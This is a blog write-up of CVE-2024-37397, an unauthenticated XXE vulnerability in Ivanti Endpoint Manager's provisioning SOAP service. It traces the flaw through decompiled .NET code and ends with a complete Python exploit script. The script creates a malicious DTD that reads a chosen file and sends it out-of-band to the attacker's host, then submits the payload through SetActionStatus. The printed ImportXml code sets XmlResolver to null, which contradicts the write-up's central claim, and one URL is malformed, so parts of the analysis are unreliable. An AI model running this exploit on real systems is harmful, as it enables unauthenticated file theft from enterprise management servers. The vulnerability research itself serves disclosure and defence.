CVE 2024-37397 - Ivanti Endpoint Manager XXE Vulnerability
Table of Contents
This blog provides an in-depth analysis of the exploitation process for an unauthenticated XXE vulnerability in Ivanti Endpoint Manager, identified as CVE-2024-37397.
Uncovering the ImportXml
Vulnerability #
This vulnerability was identified by 06fe5fd2bc53027c4a3b7e395af0b850e7b8a044 and detailed in the ZDI advisory, which provided key information about the affected component. The advisory mentioned that the XXE vulnerability was found in the ImportXml
function, guiding us to search for references to this specific function.
I was able to get an evaluation copy of the Endpoint Manager using Wayback Machine, from there setup was as easy as following the prompts.
Once the installation was complete, I used ripgrep
tool to look for any references for ImportXml
within the installed directory. Multiple instances were found in following DLLs:
Fortunately, these DLLs are .NET executables, we can load it into the dnSpy
and start analyzing right way. Once loaded, we can see that there are multiple classes where importXml
is defined and used.
One thing that is common in all of the ImportXml
functions defined everywhere is that none of them explictly make the XmlResolver
as null
which is a workaround for XXE vulnerabilities in .NET applications. Given that we now know which DLL has the definition for our vulnerable function, it is now time to look into which function actually calls for this function so we can trigger this for our gain.
Triggering the Vulnerability: Understanding the Flaw #
Initially, when running rg
again, there were no other DLLs where ImportXml
was called. This indicated that we might be looking for a pattern where a function from the identified DLL calls ImportXml, and that function is called elsewhere. Running rg
in this case would be time-consuming and might not yield concrete results, so we needed to move forward by understanding the different components of the application, or alternatively, by considering the paths of the identified DLLs.
One place where the [] DLL was found was under ProvisioningWebService. Given its name, this most likely suggests that a web service is being handled by the DLLs in this directory. Upon further investigation, we identified the following DLLs:
There is a ProvisioningWebService.dll
, which looks promising. Loading it into dnSpy, we can see that the DLL has a class ProvisioningService
which has multiple methods defined:
Checking these methods has [WebMethod]
attributes defined, indicating that these methods handle data from web requests.
Looking into the imports of this class, we can see that LANDesk.Provisioning.Business
DLL is called, given that we might be on right track of finding the source/sink pattern of our vulnerability.
using LANDesk.Provisioning.Business;
As we observed earlier, there were no reference of ImportXml
directly found within any DLL and ProvisioningService
class was no different but we see that there are some methods that were defined within the LANDesk.Provisioning.Business
are called here such as PHistoryTask
or PHistoryEntry
. The identified functions were GetProvisioningBootOption
which was as following:
[WebMethod]
public int GetProvisioningBootOption(string clientMacAddress, string pxeProxyMacAddress, ref int holdingQueuePEtype)
{
int num = 0;
this.log.Log(PRollingLog.logLevel.VERBOSE, ">> GetProvisioningBootOption, clientMacAddress={0}", new object[]
{
clientMacAddress
});
ServerIdentifier[] sids = new ServerIdentifier[]
{
ServerIdentifier.getInstance(ServerIdentifierType.MACAddress, clientMacAddress)
};
int ldTaskIdn = 0;
int[] computerId = TemplateFinder.GetComputerId(sids);
if (computerId.Length < 1)
{
this.log.Log(PRollingLog.logLevel.ERROR, "Unable to find computer with Macaddress {0}", new object[]
{
clientMacAddress
[..snip..]
Certain things that is observable at first is the argument, we see that it takes two different arguments clientMacAddress
and other was pxeProxyMacAddress
which did not seem like something where we can inject some payload or try, at least from the naked eye. But that’s where the other function named SetActionStatus
entered in the play. Looking closer into the function we see that it indeed takes an argument of actionXml
which seemed promising right off the bat.
[WebMethod]
public ProvisioningService.SetActionStatusRet SetActionStatus(int historyTaskIDN, int historyEntryIDN, int nextHistoryEntryIDN, string actionState, int internalRetval, int externalRetval, string strCapturedText, UserVariable[] Variables, string actionXml)
{
this.log.Log(PRollingLog.logLevel.VERBOSE, "SetActionStatus (historyTaskIdn {0}, historyEntryIdn {1}, next {2}): state {3}", new object[]
{
historyTaskIDN,
historyEntryIDN,
nextHistoryEntryIDN,
actionState
});
PError perror = new PError();
bool flag = PHistoryEntry.WriteActionStatus(historyTaskIDN, historyEntryIDN, nextHistoryEntryIDN, actionState, internalRetval, externalRetval, strCapturedText, Variables, actionXml, ref perror);
if (flag)
{
return ProvisioningService.SetActionStatusRet.Ok;
}
this.log.Log(PRollingLog.logLevel.ERROR, "Unable to set the action status (historyTaskIdn {0}, historyEntryIdn {1}, next {2}): {3}", new object[]
{
historyTaskIDN,
historyEntryIDN,
nextHistoryEntryIDN,
perror.Message
});
return ProvisioningService.SetActionStatusRet.SetStatusFailed;
}
Since this is also a [WebMethod]
we can be cetain that this particular method can be invoked somehow from the HTTP request. Further analysis of this revealed that it calls PHistoryEntry.WriteActionStatus
method which is defined LANDesk.Provisioning.Business
DLL. The arguments passed into the WriteActionStatus
is something we will take a note of when analyzing the WriteActionStatus
class.
Now, when we check the PHistoryEntry
class, we notice that there is a defined method ImportXml
as well as our method in question WriteActionStatus
. Checking the ImportXml
method, we see that it takes the actionXml
as string and later processes it via the XmlDocument
parser. As we discussed earlier, the XmlResolver
value is not set to null
meaning that we have can include external DTDs and the parser here will attempt to get the definition from the DTD and perform the processing of the same.
protected internal bool ImportXml(string actionXml)
{
bool flag = true;
try
{
if (flag)
{
flag = PUser.ValidateProvisioningCreateRight(ref this.err);
}
XmlDocument xmlDocument = null;
XmlNode xmlNode = null;
if (flag && actionXml != null && actionXml.Length > 0)
{
xmlDocument = new XmlDocument();
xmlDocument.XmlResolver = null;
xmlDocument.LoadXml(actionXml);
xmlNode = xmlDocument.SelectSingleNode("xmlsnippet");
if (xmlNode != null)
{
xmlNode = xmlNode.FirstChild;
}
if (xmlNode != null && xmlNode.Name == "variables")
{
xmlNode = xmlNode.NextSibling;
But before going there, we need to check how the WriteActionStatus
calls our ImportXml
and how we can actually trigger our vulnerability. The WriteActionStatus
method was defined as follows:
public bool WriteActionStatus(int historyTaskIDN, int historyEntryIDN, int nextHistoryEntryIDN, string actionState, int internalRetval, int externalRetval, string strCapturedText, UserVariable[] UserVariables, string actionXml, ref PError err)
{
PRollingLog prollingLog = new PRollingLog("PHistoryEntry");
PHistoryTask phistoryTask = null;
PHistoryEntry phistoryEntry = null;
PHistoryEntry phistoryEntry2 = null;
DateTime utcNow = DateTime.UtcNow;
HistoryEntryStateType historyEntryStateType = HistoryEntryStateType.UNKNOWN;
bool flag = false;
bool flag2 = true;
if (!flag2)
{
return false;
}
try
{
if (flag2)
{
phistoryEntry = new PHistoryEntry(historyEntryIDN);
phistoryEntry2 = new PHistoryEntry(nextHistoryEntryIDN);
phistoryTask = new PHistoryTask(historyTaskIDN);
if (!OleDbHelper.IsValidIdnRange(phistoryTask.Id) && OleDbHelper.IsValidIdnRange(phistoryEntry.Id))
{
phistoryTask = new PHistoryTask(phistoryEntry.HistoryTaskId);
}
if (!OleDbHelper.IsValidIdnRange(phistoryTask.Id) && OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
{
phistoryTask = new PHistoryTask(phistoryEntry2.HistoryTaskId);
}
if (OleDbHelper.IsValidIdnRange(historyEntryIDN) && !OleDbHelper.IsValidIdnRange(phistoryEntry.Id))
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. History entry record Idn='{0}' does not exist.", historyEntryIDN), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.InvalidHistoryEntry", null, PBL.DEBUGLOC, err);
flag2 = false;
}
if (OleDbHelper.IsValidIdnRange(nextHistoryEntryIDN) && !OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Next history entry record Idn='{0}' does not exist.", nextHistoryEntryIDN), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.InvalidHistoryEntry", null, PBL.DEBUGLOC, err);
flag2 = false;
}
if (!OleDbHelper.IsValidIdnRange(phistoryTask.Id) || (OleDbHelper.IsValidIdnRange(phistoryEntry.Id) && phistoryTask.Id != phistoryEntry.HistoryTaskId) || (OleDbHelper.IsValidIdnRange(phistoryEntry2.Id) && phistoryTask.Id != phistoryEntry2.HistoryTaskId))
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Problem with history task record Idn, Declared history task Idn='{0}'. History entry's task Idn='{1}. Next history entry's task Idn='{2}", historyTaskIDN, phistoryEntry.HistoryTaskId, phistoryEntry2.HistoryTaskId), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.InvalidHistoryTask", null, PBL.DEBUGLOC, err);
flag2 = false;
}
}
if (flag2 && phistoryTask.Template == null)
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Unable to locate template Idn='{0}' for history task Idn='{1}'.", phistoryTask.TemplateId, phistoryTask.Id), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.InvalidTemplate", null, PBL.DEBUGLOC, err);
flag2 = false;
}
if (flag2 && !OleDbHelper.IsValidIdnRange(phistoryTask.LDTaskId))
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. The scheduler LDTask is missing for history task Idn {0}.", phistoryTask.Id), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.InvalidScheduledTask", null, PBL.DEBUGLOC, err);
flag2 = false;
flag = true;
}
if (flag2 && phistoryTask.State != HistoryTaskStateType.Running && phistoryTask.State != HistoryTaskStateType.Waiting && phistoryTask.State != HistoryTaskStateType.Canceled)
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Altering history task Idn {0} state is not allowed. {1}.", phistoryTask.Id, phistoryTask.State), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.HistoryTaskNotRunning", null, PBL.DEBUGLOC, err);
flag2 = false;
}
if (flag2 && (phistoryEntry.State == HistoryEntryStateType.SUCCESS || phistoryEntry.State == HistoryEntryStateType.FAILED))
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Altering history entry Idn {0} state is not allowed. {1}.", phistoryEntry.Id, phistoryEntry.State), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.UnableToModifyHistoryEntry", null, PBL.DEBUGLOC, err);
flag2 = false;
}
if (flag2)
{
foreach (string a in Enum.GetNames(typeof(HistoryEntryStateType)))
{
if (a == actionState)
{
historyEntryStateType = (HistoryEntryStateType)Enum.Parse(typeof(HistoryEntryStateType), actionState);
break;
}
}
if (historyEntryStateType == HistoryEntryStateType.UNKNOWN)
{
prollingLog.Log(PRollingLog.logLevel.VERBOSE, string.Format("Unable to write to database. Action state does not map to a business layer enum value, '{0}'.", actionState), Array.Empty<object>());
err = new PError("L10n.Provisioning.Error.UnableToModifyHistoryEntry", null, PBL.DEBUGLOC, err);
flag2 = false;
}
else if (historyEntryStateType == HistoryEntryStateType.NEED_REBOOT)
{
historyEntryStateType = HistoryEntryStateType.REBOOTING;
}
}
bool flag3 = false;
bool flag4 = false;
bool flag5 = false;
bool flag6 = false;
if (flag2)
{
if (historyEntryStateType == HistoryEntryStateType.FAILED && phistoryEntry.MustSucceed)
{
flag = true;
}
if (historyEntryIDN == -1 && nextHistoryEntryIDN == -1)
{
flag = true;
}
else if (OleDbHelper.IsValidIdnRange(phistoryEntry.Id))
{
flag3 = true;
flag4 = true;
if (OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
{
flag5 = true;
}
else if (historyEntryStateType != HistoryEntryStateType.MIGHT_REBOOT && historyEntryStateType != HistoryEntryStateType.REBOOTING && historyEntryStateType != HistoryEntryStateType.WAITINGONSWD)
{
flag = true;
}
else if (actionXml != null && actionXml.Length > 0)
{
flag5 = true;
flag6 = true;
}
}
}
bool flag7 = true;
if (flag3)
{
phistoryEntry.TimestampUTC = utcNow;
phistoryEntry.State = historyEntryStateType;
if (phistoryEntry.State != HistoryEntryStateType.MIGHT_REBOOT && phistoryEntry.State != HistoryEntryStateType.REBOOTING)
{
phistoryEntry.IntReturnValue = internalRetval;
phistoryEntry.ExtReturnValue = externalRetval;
Encoding ascii = Encoding.ASCII;
phistoryEntry.Blob = ascii.GetBytes(strCapturedText);
}
flag7 = phistoryEntry.Commit();
if (!flag7)
{
err = new PError(null, null, PBL.DEBUGLOC, phistoryEntry.Error);
}
}
if (flag4)
{
int historyEntryIdn = phistoryTask.HistoryEntryId;
if (OleDbHelper.IsValidIdnRange(phistoryEntry2.Id))
{
historyEntryIdn = phistoryEntry2.Id;
}
try
{
OleDbHelper.BeginTransaction();
int rv = HistoryTask.UpdateRow(phistoryTask.Id, historyEntryIdn, utcNow);
if (!OleDbHelper.IsGoodUpdateReturnValue(rv))
{
err = new PError("L10n.Provisioning.Error.DatabaseError", null, PBL.DEBUGLOC, err);
flag7 = false;
}
}
finally
{
OleDbHelper.CommitTransaction();
}
}
if (flag6 && actionXml != null && actionXml.Length > 0)
{
PHistoryEntry phistoryEntry3 = new PHistoryEntry();
flag7 = phistoryEntry3.ImportXml(actionXml);
if (!flag7)
{
err = new PError(null, null, PBL.DEBUGLOC, phistoryEntry3.Error);
}
ArrayList arrayList = null;
flag7 = PHistoryEntry.Read(phistoryTask.Template.Id, phistoryEntry.HistoryTaskId, out arrayList, ref err);
if (flag7)
{
phistoryEntry3.Name = L10n.GetString("HistoryEntry.InjectedActionName");
phistoryEntry3.HistoryTaskId = phistoryTask.Id;
phistoryEntry3.SectionId = phistoryEntry.SectionId;
foreach (object obj in arrayList)
{
PHistoryEntry phistoryEntry4 = (PHistoryEntry)obj;
if (phistoryEntry4.SectionId == phistoryEntry.SectionId)
{
[..snip..]
This is rather a very large function to analyze but luckily, I managed to bring it down to certain simplicity. But before that, let’s check it’s POST request and the actual data we have to sent to the application as part of our HTTP request. Given that we know the service is running on port 8443 and we have IIS manager insalled on our Windows Server, we can navigate within the IIS Manager and find the ProvisioningWebService
path and then attempt to reach it from browser.
If you have ever come across any of the writeups related to Ivanti Endpoint Manager, you would know majority of them is done through SOAP API and this is not exception. One good thing about SOAP APIs is that it will list the methods supported by the API and give us sample request and an example response to work with.
Now, that we have a sample SetActionStatus
request to work with, let’s see how exactly we can reach our targeted function.
Overcoming Obstacles: Challenges in Exploiting XXE #
Now, let’s dive deeper into analyzing the logic of WriteActionStatus to reach the part where the ImportXml function is called. Instead of going line by line through the code, we’ll focus on the main checkpoints that lead us to ImportXml.
if (flag6 && actionXml != null && actionXml.Length > 0)
{
PHistoryEntry phistoryEntry3 = new PHistoryEntry();
flag7 = phistoryEntry3.ImportXml(actionXml);
if (!flag7)
First, the historyEntryIDN
must be valid. This kicks off a series of database lookups involving history tasks and entries. These values are retrieved based on the initial historyEntryIDN
. If all validations pass and flag2 remains true, the next significant check involves actionXml
. The logic behind flag6
is simple—it checks if actionXml
is empty. If it’s not, this sets up the possibility of calling ImportXml.
However, before reaching that point, other conditions must be satisfied, such as ensuring the history entry’s state isn’t in a “stale” mode (like rebooting or waiting for software delivery). Provided these conditions hold true and flag6
is set, we finally encounter the block that executes ImportXml
. At this point, flag6
confirms that actionXml
contains valid data, allowing us to pass the final check and proceed with the import.
Note: I had to make my own entries within the database to get through the check of
historyEntryIDN
. I had the ID as5
into the database, so we will be using that in our exploit but rest assured there is a way to get through it when attacking a real target.
Exploiting XXE: Turning Theory Into Action #
Now, it is time we get our hands dirty. Let’s paste the sample request:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetActionStatus xmlns="http://tempuri.org/">
<historyTaskIDN>100</historyTaskIDN>
<historyEntryIDN>5</historyEntryIDN>
<nextHistoryEntryIDN>0</nextHistoryEntryIDN>
<actionState>NEED_REBOOT</actionState>
<internalRetval>1</internalRetval>
<externalRetval>1</externalRetval>
<strCapturedText>string</strCapturedText>
<Variables>
<UserVariable>
<Name>string</Name>
<Value>string</Value>
<VariableOperation>add</VariableOperation>
</UserVariable>
<UserVariable>
<Name>string</Name>
<Value>string</Value>
<VariableOperation>add</VariableOperation>
</UserVariable>
</Variables>
<actionXml><![CDATA[
<!DOCTYPE foo [<!ENTITY example SYSTEM
"http:///192.168.1.44:8000"> ]>
<data>&example;</data>
]]>
</actionXml>
</SetActionStatus>
</soap:Body>
</soap:Envelope>
Observing the request within the Burp Suite showed a 200 response and we observe a hit on our listener:
Crafting the Final Exploit #
From the previous analysis, we understood that a valid historyEntryID
is required to perform the SetActionStatus
action. Like most exploits, my aim was to minimize dependencies on pre-existing data. In this case, we can leverage the GetTasksXml
method to retrieve valid IDs and use them in the SetActionStatus
request alongside our XXE payload, leading to the final exploit.
The final exploit combines the GetTasksXml
and SetActionStatus
requests. Essentially, GetTasksXml
retrieves the valid historyEntryID
, which is then used in the SetActionStatus
request containing the XXE payload. Unfortunately, at the time of writing, the installed version had a license expiration issue, making reinstallation more complex than expected. However, the final exploit can be found here and is also pasted below:
# ---------------------------------------------------------
# Exploit Title: Ivanti Endpoint Manager Unauthorized XXE Exploit
# CVE: CVE-2024-37397
# Date: 2024-09-17
# Exploit Author: @D4mianWayne
# Vulnerability Discovered by: 06fe5fd2bc53027c4a3b7e395af0b850e7b8a044 (Trend Micro)
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://www.ivanti.com/products/ivanti-endpoint-manager
# Version: Affected versions [mention affected versions]
# Tested on: Ivanti Endpoint Manager version X.X.X
# CVE Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-37397
# ---------------------------------------------------------
import requests
import argparse
import urllib3
import xml.etree.ElementTree as ET
def print_banner():
print("="*50)
print(" Exploit Script for CVE-2024-37397")
print(" Unauthorized XXE Exploit in Ivanti Endpoint Manager")
print("="*50)
print(" Created by @D4mianWayne")
print(" Date: 2024-09-17")
print("="*50)
# Call the function to display the banner
def log(message, status="info"):
if status == "success":
print(f"[+] {message}")
elif status == "log":
print(f"[*] {message}")
else:
print(f"[-] {message}")
# Function to create the malicious DTD file since this is a blind XXE so we are performing an
# OOB XXE attack and exfiltrate data
def create_malicious_dtd(file_path, local_ip):
dtd_content = f'''<!ENTITY % file SYSTEM "file:///{file_path}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{local_ip}:4444/?content=%file;'>">
%eval;
%exfiltrate;
'''
with open('malicious.dtd', 'w') as dtd_file:
dtd_file.write(dtd_content)
log(f"Malicious DTD created at malicious.dtd", "success")
def getTasksXml(target_url):
log("Attempting to retrieve historyEntryIDN via getTasksXml", "log")
headers = {
"Content-Type": "text/xml; charset=utf-8",
"Soapaction": '"http://tempuri.org/GetTaskXml"'
}
soap_request = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetTaskXml xmlns="http://tempuri.org/">
<sids>
<ServerIdentifier>
<sit>Test</sit>
<sIdentifier>string</sIdentifier>
</ServerIdentifier>
<ServerIdentifier>
<sit>Test</sit>
<sIdentifier>string</sIdentifier>
</ServerIdentifier>
</sids>
</GetTaskXml>
</soap:Body>
</soap:Envelope>'''
response = requests.post("{}/LANDesk/ManagementSuite/Core/ProvisioningWebService/WebService.asmx".format(target_url), data=soap_request, headers=headers, verify=False)
root = ET.fromstring(response.text)
namespace = {'ns': 'http://tempuri.org/'}
result = root.find('.//ns:GetTaskXmlResult', namespace)
if result is not None:
return result.text
else:
log("GetTaskXmlResult not found", "error")
exit(1)
# SOAP Request for invoking SetActionStatus, a valid historyEntryIDN is required for certain checks to be
# fulfilled but I believe it can be bruteforced to work. Additionally, the actionXml content are being passed to the
# ImportXml function which was found to be vulnerable to XXE as XmlUrlXmlResolver wasn't set to null explicitly.
def send_soap_request(target_url, local_ip):
historyEntryIDN = getTasksXml(target_url)
log("Retrieved historyEntryIDN {}".format(historyEntryIDN), "success")
log("Crafting SOAP Request to invole SetActionStatus", "log")
soap_payload = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetActionStatus xmlns="http://tempuri.org/">
<historyTaskIDN>100</historyTaskIDN>
<historyEntryIDN>{}</historyEntryIDN>
<nextHistoryEntryIDN>0</nextHistoryEntryIDN>
<actionState>NEED_REBOOT</actionState>
<internalRetval>1</internalRetval>
<externalRetval>1</externalRetval>
<strCapturedText>string</strCapturedText>
<Variables>
<UserVariable>
<Name>string</Name>
<Value>string</Value>
<VariableOperation>add</VariableOperation>
</UserVariable>
<UserVariable>
<Name>string</Name>
<Value>string</Value>
<VariableOperation>add</VariableOperation>
</UserVariable>
</Variables>
<actionXml><![CDATA[
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://{}/malicious.dtd">
%asd;
%c;
]>
<a></a>
]]></actionXml>
</SetActionStatus>
</soap:Body>
</soap:Envelope>'''.format(historyEntryIDN, local_ip)
# Define the headers
headers = {
"Content-Type": "text/xml; charset=utf-8",
"Soapaction": '"http://tempuri.org/SetActionStatus"'
}
# The target URL
log("Sending Request.....", "log")
url = "{}/LANDesk/ManagementSuite/Core/ProvisioningWebService/WebService.asmx".format(target_url)
# Send the POST request
try:
response = requests.post(url, data=soap_payload, headers=headers, verify=False)
# Print the response from the server
log("Request Successfully Sent!", "success")
print(f"Response Status Code: {response.status_code}")
print("Response Content:")
print(response.text)
except Exception as E:
log("Error occured: {}".format(E), "log")
def main():
parser = argparse.ArgumentParser(description="XXE Exploit Script")
parser.add_argument("target_url", help="Target URL of the web service")
parser.add_argument("file_path", help="Path of the file to exfiltrate")
parser.add_argument("local_ip", help="Local IP address for DTD hosting")
args = parser.parse_args()
# Create the malicious DTD
create_malicious_dtd(args.file_path, args.local_ip)
# Start the HTTP server in a separate thread
# Send the SOAP request
send_soap_request(args.target_url, args.local_ip)
if __name__ == "__main__":
print_banner()
main()